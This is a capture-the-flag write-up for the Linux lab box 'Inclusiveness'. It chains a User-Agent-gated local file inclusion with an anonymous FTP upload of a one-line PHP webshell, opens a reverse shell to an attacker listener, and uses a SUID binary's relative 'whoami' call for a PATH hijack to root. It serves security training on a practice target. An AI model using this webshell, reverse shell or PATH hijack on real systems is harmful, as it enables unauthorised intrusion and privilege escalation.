# Inclusiveness Writeup - Proving Grounds

> Easy Linux box chaining a User-Agent-gated local file inclusion with a writable anonymous FTP directory to upload and include a PHP webshell for RCE, then abusing a custom SUID binary's relative whoami call with a PATH hijack for root.

- **URL:** https://hackindex.io/writeups/inclusiveness
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Tags:** lfi, rce, ftp, anonymous-access, path-hijacking, suid, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 3 min read
- **Published:** 2026-10-07
- **Updated:** 2026-10-07

Inclusiveness hides a directory behind a User-Agent check, where a `?lang=` parameter is a local file inclusion. Anonymous FTP has a writable directory that maps into the web root, so a PHP webshell uploaded over FTP and included through the LFI gives RCE as www-data. A SUID binary that validates the user with a relative `whoami` call is abused with a PATH hijack for root.

## Reconnaissance

### Nmap

Scan all TCP ports and fingerprint the services.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT   STATE SERVICE VERSION
# 21/tcp open  ftp     vsftpd 3.0.3
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# |_drwxrwxrwx    2 0        0   4096 Feb 08 21:51 pub [NSE: writeable]
# 22/tcp open  ssh     OpenSSH 7.9p1 Debian
# 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
# |_http-title: Apache2 Debian Default Page: It works
```

Anonymous FTP with a world-writable `/pub`, SSH, and a default Apache site. The `robots.txt` blocks non-search-engine agents, so spoof the User-Agent.

### Web enumeration

Read robots.txt with a search-engine User-Agent.

```bash
curl -A "GoogleBot" http://$TARGET_IP/robots.txt
# User-agent: *
# Disallow: /secret_information/
```

A `/secret_information/` page loads content through `?lang=en.php`, which is a local file inclusion.

## Exploitation

### LFI and anonymous FTP upload

Read files through the LFI, including `/etc/vsftpd.conf`, which shows `anon_root=/var/ftp` and `write_enable=YES`. So the anonymous FTP `/pub` directory is on disk at `/var/ftp/pub`. Upload a PHP webshell over FTP.

```
<?php system($_GET['cmd']); ?>
```

```bash
ftp $TARGET_IP
# cd /pub
# put backdoor.php
# 226 Transfer complete
```

Include the uploaded shell through the LFI and run a command: `http://$TARGET_IP/secret_information/?lang=/var/ftp/pub/backdoor.php&cmd=id` returns `uid=33(www-data)`. Pass a URL-encoded Python reverse shell as the command and catch it on a listener.

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
# www-data@inclusiveness:/var/www/html/secret_information$ id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. Enumerate SUID binaries.

## Privilege Escalation

### SUID binary PATH hijack

List SUID binaries.

```bash
find / -perm -u=s -type f 2>/dev/null
# /usr/sbin/pppd
# /home/tom/rootshell
```

The custom SUID `/home/tom/rootshell` stands out. Its source validates the user with a relative `whoami` call through `popen`.

```c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int main() {
    printf("checking if you are tom...\n");
    FILE* f = popen("whoami", "r");
    char user[80];
    fgets(user, 80, f);
    printf("you are: %s\n", user);
    if (strncmp(user, "tom", 3) == 0) {
        printf("access granted.\n");
        setuid(geteuid());
        execlp("sh", "sh", (char *) 0);
    }
}
```

Because `whoami` is called without an absolute path, hijack `PATH` with a fake `whoami` that prints `tom`, then run the binary.

```bash
echo 'printf tom' > /tmp/whoami
chmod +x /tmp/whoami
export PATH=/tmp:$PATH
/home/tom/rootshell
# www-data@inclusiveness:/home/tom$ ./rootshell
# checking if you are tom...
# you are: tom
# access granted.
# # id
# uid=0(root) gid=33(www-data) groups=33(www-data)
```

The fake `whoami` returns `tom`, so `rootshell` grants a shell that runs as root.

Related
